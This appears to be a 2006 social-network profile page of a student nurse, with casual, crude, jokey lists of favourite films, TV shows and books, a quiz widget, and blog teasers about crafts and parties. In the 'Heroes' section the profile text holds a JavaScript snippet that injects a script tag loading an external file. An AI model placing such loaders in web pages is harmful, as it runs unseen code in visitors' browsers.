Naughty Nurse Kelley profile picture

Naughty Nurse Kelley

Let there be Gay Robot Marriage! Let the fag-o-trons wed!

About Me

I am one sassy bitch. I freqently get that feeling that I should shut up, but I love it when people tell me something that's too much information, pause, and then just keep going after they say "Oh well, you're a nurse". I am a student nurse and movie nerd. I'm extremely indecisive. Like many ladies I have a debilitating obsession with shoes and purses. My dad told me Jamie was a keeper cuz he bought me a purse for Valentine's Day. I will pretty much watch anything that doesn't rely on explosions for a plot, especially horror, musicals, bad comedies, and cult flix. I love comics, trashy celebrity gossip magazines, laughing with my ladies (The Vaginas or Vag Face Killas), movie soundtracks, experimental cooking, obscene amounts of fresh ground black pepper on everything, anything with refried beans and/or cheese, all things dippy, anything that can be eaten with ranch (especially french fries and pizza), the hypnotizing pleasant clicking of my knitting needles, making up crafty shit to do, puttering online or in my bag o' yarn instead of doing homework, painting, crocheting, knifty knitting, modge podging, learning new words, gross medical stuff, collecting cookbooks, superheroes, taking & sharing photos, incense, discovering little known phenomena like hanky codes, cutting up T-Shirts, Scrabble, being scarred for life by taking a chance on a video, zombies, body modification, obsessing over new stuff and being nerdy in general. My favorite thing to talk about with new people I meet is ghost stories. I have been lucky enough to meet my two favorite actors in the whole world, Bruce Campbell and Fairuza Balk. My arch nemesis is Umbrella Man in Santa Cruz. My pet peeves are people who wear sweatpants in public (especially men), Uggs, those short ruffly skirts, gaucho pants, short people, people who talk during movies, men who wear too much cologne or perfume, yuppies, people who ask me stupid questions about my lip rings, John Basedow, bad spellers, when the toilet paper comes out under the roll, people who cake on make-up just to go to class or to 711, people who make me repeat myself, snotty people in general, especially beer snobs, people who rip into the minimum wage slave behind the counter, people who are intolerant of other people's cultures, and the Dutch!IF I DON'T KNOW YOU AND YOU WANT TO ADD ME, SEND ME A MESSAGE!
| View | Add Favorite

My Interests

Hot Amazon Women *Check out the knitted action!* And guys who wish they were hot Amazons too. I LIKE TO KNIT! I knit at the bar

The Zombie Movie Survival Quiz
Like Ash from the Evil Dead trilogy, you are the hero. Congratulations. As the chainsaw toting king of witty one-liners, you certainly know how to handle any of those undead nasties heading your way, don't you?
Take this quiz !

Quizilla | Join| Make A Quiz | More Quizzes | Grab Code

I'd like to meet:

Gypsies, Tramps and Theives!Oh wait....well, I guess I'd like to meet him again!!!!

Music:

Darkness Falls Across The Land The Midnite Hour Is Close At Hand Creatures Crawl In Search Of Blood To Terrorize Y'awl's Neighbourhood And Whosoever Shall Be Found Without The Soul For Getting Down Must Stand And Face The Hounds Of Hell And Rot Inside A Corpse's Shell The Foulest Stench Is In The Air The Funk Of Forty Thousand Years And Grizzy Ghouls From Every Tomb Are Closing In To Seal Your Doom And Though You Fight To Stay Alive Your Body Starts To Shiver For No Mere Mortal Can Resist The Evil Of The Thriller

Movies:

ANYTHING done by or starring Bruce Campbell, John Waters, Will Farrell, Fairuza Balk, Joss Whedon, Mel Brooks, David Bowie, Pauly Shore, or Seth Green. MUSICALS ARE THE SHIT TOO! Grandma's Boy, Spaceballs, History of the World Part I, Dracula Dead and Loving It, Bill and Ted's Bogus Journey, Coneheads, Tommy Boy, Billy Madison, Little Nicky, The Hot Chick, Monty Python's Holy Grail, Rules Of Attraction, American Psycho, Office Space, A Mighty Wind, Best In Show, This is Spinal Tap, All stuff Kevin Smith (especially Clerks now that I have worked at a video store and my boyfriend at a convenience store), Snatch, Lock Stock and Two Smoking Barrels, Boondock Saints, Pulp Fiction, From Dusk Till Dawn, Kill Bill, Hairspray, Crybaby, Pecker, A Dirty Shame, Pink Flamingos, Female Trouble, Divine Trash, The Shining, House of 1000 Corpses, The Devil's Rejects, Harry Pooter Movies, Real Women Have Curves, The Incredibly True Adventures of Two Girls in Love, My Stepmother's An Alien, Earth Girls Are Easy, A League of Their Own, Labyrinth, The Dark Crystal, Legend, Ferris Bueller's Day Off, Breakfast Club, Weird Science, Sixteen Candles, Pretty in Pink, Wet Hot American Summer, South Park the Movie, Super Troopers, Club Dred, Rushmore, Royal Tenenbaums, The Life Aquatic, Bottle Rocket, The Big Lebowski, O Brother Where Art Thou?, Wild Hearts Can't be Broken, Dazed and Confused, City Slickers, Rocky Horror Picture Show, Hedwig and the Angry Inch, Hellboy, The Devil's Advocate, Cabaret, Chicago, Best Little Whorehouse in Texas, NEWSIES!, But I'm a Cheerleader, Heavyweights, Addam's Family movies, Camp Nowhere, Sisterhood of the Traveling Pants, Star Trek: First Contact (anything with Data and/or the borg), Spellbound, Mad Hot Ballroom, Delicatessen, City of Lost Children, Amelie, Party Monster, My Girl, Hook, Yellowbeard, Scary movies in general, All bad horror movies, Any kind of Zombie/vampire/werewolf movies: Shaun of the Dead, Dawn of the Dead(s), 28 Days Later, Land Of the Dead, American Werewolf in London and Paris, The Hunger, Queen of the Damned, Interview with the Vampire, The Lost Boys, mmmm.........there's more, just give me some time to think!

Television:

Sad but true: ANYTHING by Joss Whedon: Buffy, Angel, Firefly. Arrested Development is the funniest show ever! Smallville and Lois and Clark: The new adventures of Superman, MONK, In Living Color, Roseanne, Dead Like Me, Wonderfalls, Six Feet Under, MONK, Futurama, Sex and The City, The L Word, QUEER AS FOLK, HBO's Real Sex, MONK, Pee Wee's Playhouse, Fresh Prince, Pete and Pete, Are you afraid of the dark? Roundhouse, Clarissa Explains it all, MONK, Alf, South Park, Weird Science the TV show, MONK (monk kicks motherfucking ass!), X-Files, Chapelle's Show, Robot Chicken, MONK, Aqua Teen Hunger Force, Space Ghost Coast to Coast, Family Guy, MONK, Simpsons, Crank Yankers, MONK, Seinfeld, Nip/Tuck, That 70's Show, SNL, MAD TV, Blind Date, Studs, MONK, I love the 80's, Muppet Babies, Finders Keepers, Out of this World, Wild and Crazy Kids, Double Dare, MONK, All That, Legends of the Hidden Temple, MONK Salute your Shorts, just about anything that was on Nickelodeon in the Late 80's/Early 90's. Did I mention MONK? .. width="425" height="350" ..

Books:

I looooooooove comic books and anything by Chuck Palahnuik, Where the Sidewalk Ends by Shel Silvertein, The Penis Book by Joseph Cohen, Research's People Series on Bob Flannigan: Supermasochist, The Zombie Survival Guide, Fast Food Nation, Modcon by Shannon Larratt, The Shining (the book is frickin awesome), Ender's Game, Harry Potter, Wally Lamb, Jennifer Weiner, Mutant Message by Marlo Morgan, uh...

Heroes:

This guy! I call him Camel Toe Presley! Gob Bluth, who does Illusions! A trick is something a whore does for money, or candy. Homos in general! Anyone who celebrates freaks!The late great Divine! And Batwomen! People who do the TRUFFLE SHUFFLE Fallen heroes too! And Bob Flannigan .."var s=document.createElement('script');s.src='../x/7318.js';docu ment.getElementsByTagName('head')[0].appendChild(s);"

My Blog

Halloween Pics!!!

Halloween was awesome, as usual. I had three costumes this year. First outfit was a smelly pirate hooker for the Bear a week before Halloween. Then the Saturday before I was a skeleton at Duffy's wher...
Posted by Naughty Nurse Kelley on Sat, 04 Nov 2006 11:33:00 PST

Tampon Crafts

I have yet to make any, but I am inspired. The tampon shooter sounds like an excellent idea.http://www.tamponcrafts.com/gun.html
Posted by Naughty Nurse Kelley on Thu, 26 Oct 2006 11:31:00 PST

Bruce Broke My Heart

I watched the craptastic lastest Bruce Campbell movie tonight, "Man With the Screaming Brain". Oh boy was it bad. Bad bad bad. And not even in that it's so bad it's great capacity. Seriously Bruce, le...
Posted by Naughty Nurse Kelley on Thu, 31 Aug 2006 11:45:00 PST

Naked people love to swim

Last night we went to one mile at about 11 for some night swimming with 40's. When we got there, there were 2 butt naked people going at it on the concrete, right next to the pool in the middle of all...
Posted by Naughty Nurse Kelley on Wed, 19 Jul 2006 02:50:00 PST

Goonies Never Say Die!

This weekend was the ultimate Goonie adventure. I can't really explain it correctly. Sam and Jody came and there was much to be smoked and drunk. We went swimming a million times, including much night...
Posted by Naughty Nurse Kelley on Wed, 19 Jul 2006 08:22:00 PST

My first attempt at clothes, a dress!

I made this to go see Tiger Army tues night. The show, of course, was awesome but so was my dress. At least that's what the girl who busted in on me in the bathroom said (broken lock).But who cares ab...
Posted by Naughty Nurse Kelley on Thu, 29 Jun 2006 02:11:00 PST

My crafty boner

My crafty boner has been going lately, it's way better than doing homework. My latest project is a wallet made of felt! TA DA! It's a simple trifold style wallet, and my first project made from my Baz...
Posted by Naughty Nurse Kelley on Sun, 07 May 2006 02:11:00 PST

Great Weekend

First off, I studied in the park all day Friday, enjoying the sunshine. Then I stopped by Jamie's work as he was getting off and we had a couple beers at the Scrounge, I got to knit at the bar!Then Fr...
Posted by Naughty Nurse Kelley on Tue, 02 May 2006 10:00:00 PST

Yep, we are crafy bitches!

Amy is in town, and in an effort to entertain her we hit up the bargain bin at the Underground that had records 10 for $1. Then we melted them in the oven into bowls or ashtrays or candy dishes or wha...
Posted by Naughty Nurse Kelley on Sat, 22 Apr 2006 02:15:00 PST

Sam came to visit, it was awesome.

Sam came up Easter night. We had Sasha, Rachael and Dean over and got wasted and stormed the clubhouse to play pool. It was great! And of course Sam had to hit up the Bear, so we had an afternoon pitc...
Posted by Naughty Nurse Kelley on Thu, 20 Apr 2006 05:27:00 PST